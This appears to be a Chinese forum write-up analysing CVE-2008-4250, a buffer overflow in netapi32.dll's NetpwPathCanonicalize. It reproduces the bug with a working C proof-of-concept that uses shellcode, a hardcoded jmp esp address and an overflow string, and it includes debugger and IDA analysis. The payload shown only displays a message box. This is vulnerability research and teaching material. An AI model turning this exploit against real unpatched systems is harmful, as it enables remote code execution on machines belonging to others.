CVE-2008-4250 Windows-远程执行代码
一、漏洞信息
1. 漏洞简述
- 漏洞编号:(CVE-2008-4250)
- 漏洞类型:(远程执行代码)
- 漏洞影响:(远程代码执行、信息泄露等)
- CVSS评分:(以CVSS 3.0为准(一般分数较高),或者2者都备注)
- 利用难度:Medium
- 基础权限:不需要(是否需要普通用户权限)
2. 组件概述
netapi32.dll是Windows网络应用程序接口,用于支持访问微软网络。
3. 漏洞利用
#include <stdio.h>
#include <windows.h>
typedef void (*MYPROC) (LPWSTR, ...);
char ShellCode[] =
"\x33\xDB" // xor ebx,ebx
"\xB7\x06" // mov bh,6
"\x2B\xE3" // sub esp,ebx
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\xB9\xFE\xB9\xFE" // push "哈哈"
"\x8B\xC4" // mov eax,esp
"\x53" // push ebx
"\x68\xC0\xCF\xBD\xAA"
"\x68\x20\x62\x79\x3A"
"\x68\xC4\xF1\xA1\xA3"
"\x68\xCE\xC5\xCC\xE4"
"\x68\xB4\xA6\xB4\xA6"
"\x68\xCF\xFE\xA3\xAC"
"\x68\xB2\xBB\xBE\xF5"
"\x68\xB4\xBA\xC3\xDF" // push "春眠不觉晓,处处闻啼鸟。 by:老姜"
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x50" // push eax
"\x51" // push ecx
"\x53" // push ebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0" // call MessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0"; // call ExitProcess
int main()
{
// 设置第二段路径字符串的长度为0x256
WCHAR arg_0[256];
// 设置用于接收格式化后的字符串的缓冲区空间为0x256
WCHAR arg_4[256];
// 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可
int arg_8 = 0x420;
long arg_10 = 1;
// 加载netapi32.dll函数
HINSTANCE libHandle = LoadLibrary(".\\netapi32.dll");
// 获取函数NetpwPathCanonicalize()的地址
MYPROC funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
// 验证是否获取成功,不成功则释放掉句柄资源
if ( libHandle == 0 || funcAddr == 0 )
{
MessageBox(0, "Load error!", "Warning", 0);
FreeLibrary(libHandle);
return 0;
}
// 初始化字符数组内容
arg_0[0] = 0; arg_4[0] = 0;
// 实现溢出的路径字符串
wcscpy(arg_0, L"\\A\\..\\..\\BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
// jmp esp
wcscat(arg_0, (const unsigned short *)"\x79\x5b\xe3\x77");
// 植入shellcode代码
wcscat(arg_0, (const unsigned short *)ShellCode);
// 调用NetpwPathCanonicalize()函数
(funcAddr)(arg_0, arg_4, arg_8, NULL, &arg_10, 0);
// 释放句柄资源
FreeLibrary(libHandle);
// 返回
return 0;
}
二、漏洞复现
1. 环境搭建
2. 复现过程
我们首先使用如下代码做一个简单的测试
#include <stdio.h>
#include <windows.h>
typedef void (*MYPROC) (LPWSTR, ...);
int main()
{
// 设置第二段路径字符串的长度为0x256
WCHAR arg_0[256];
// 设置用于接收格式化后的字符串的缓冲区空间为0x256
WCHAR arg_4[256];
// 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可
int arg_8 = 0x420;
long arg_10 = 1;
// 加载netapi32.dll函数
HINSTANCE libHandle = LoadLibrary(".\\netapi32.dll");
// 获取函数NetpwPathCanonicalize()的地址
MYPROC funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
// 验证是否获取成功,不成功则释放掉句柄资源
if ( libHandle == 0 || funcAddr == 0 )
{
MessageBox(0, "Load error!", "Warning", 0);
FreeLibrary(libHandle);
return 0;
}
// 初始化字符数组内容
arg_0[0] = 0; arg_4[0] = 0;
// 实现溢出的路径字符串
wcscpy(arg_0, L"\\A\\..\\..\\BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
// 调用NetpwPathCanonicalize()函数
(funcAddr)(arg_0, arg_4, arg_8, NULL, &arg_10, 0);
// 释放句柄资源
FreeLibrary(libHandle);
// 返回
return 0;
}
接下来,我们通过OD去打开编译好的程序,将程序执行到"LoadLibraryA"以后,用来加载动态链接库NETAPI32.DLL。
我们在"静态分析"的IDA分析中知道,出现问题的是wcscpy函数,且地址为"5FDDA2F3"那么我们直接跳过来。既然我们需要溢出,那么需要注意返回地址的位置。
下面我们着重关注一下,我们知道,在wcscpy函数之前的push 指令,真是传参。且"eax"为源地址,"edi"为目的地址。
我们来在内存中查看一下,并且确认一下边界值。
下面,我们执行完成wcscpy,这个时候我们发现已经被"简化"完成了。
我们继续单步执行,直到出现如下图位置,该位置是执行edi减2操作,因为是宽字节,所以减2向前推进。
在执行完"edi-0x2"并且将值存储到eax当中,紧接着在判断是否越界的时候,使用了cmp指令。这就意味着你的EAX值只有在等于边界值的情况才会判断不会继续向前检索且停住简化。关键是,执行完成之后eax=12f6c2< 边界值。这样的情况,是不会停止“简化”操作的。
我们继续执行代码,如下位置,代码再次发现了"\",与是停下来,准备"简化"操作。
我们定位到内存,了解到如下区域将会被覆盖
成功定位到覆盖区域之后,我们最终需要控制的是wcscpy这个位置的返回地址,在如下图位置找到。地址为"0X12f688"
接下来我们是需要在"简化"的过程中控制地址“12F688”的内容即可。首先我们知道缓存区的起始位置为“0X12F5A6”,详细覆盖方案如下:
效果如下:
三、漏洞分析
1. 基本信息
- 漏洞文件:NETAPI32.DLL
- 漏洞函数:sub_5fdda268
2. 背景知识
了解汇编语言,使用IDA。
3. 详细分析
1. 静态分析
通过IDA打开netapi32.dll,并且定位到NetpwPathCanonicalize函数当中。且该函数当中存在一个子函数sub_5FDDA180。它的作用是规范化路径字符串。溢出函数即存在当中。
点击进入当中,我们来分析一下这个函数:
1.1;首先我们先是进行基本的内容查看。详细如下图:
1.2;基本的环境初始化结束之后,首先是进行判断是否为"\"。下面的图片当中,展现了定位"\"。
1.3;接下来是判断“.”详细如下图:
1.4;判断完成之后,进行简化操作。主要实现简化操作使用的wcscpy函数。下面是分析如何产生溢出漏洞。详细看,在执行完wcscpy函数(简化操作)之后。判断是否等于边界值(即输入参数的起始位置)。如果等于则关闭“简化”操作。如果小于,大于,则继续“简化”操作。问题点就在于此。详细如下图:
1.5;这样会造成什么样的情况呢?在“非正常简化”的情况下,我们的返回地址成功的被覆盖了。我们来通过下图感受一下:
攻击链分析
接下来,我们来定位到sub_5FDDA26B。我们发现其中压入的参数为[ebp+Dest]。
继续向上看,我们发现参数[ebp+Dest]的值来自寄存器ebx,eax的拼接。
ebp的值来源函数sub_5FDDA180的第二个参数。且对应着NetpwPathCanonicalize函数第一个参数。
四、思考
该漏洞出现原因是在进行"简化"操作的时候,忽略了简化的位置与目录边界的比较,不仅仅是相等就才会停止。
五、参考文献
1;实战CVE漏洞分析与防范 https://bbs.pediy.com/thread-261391.htm
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2021-3-8 09:05
被天象独行编辑
,原因: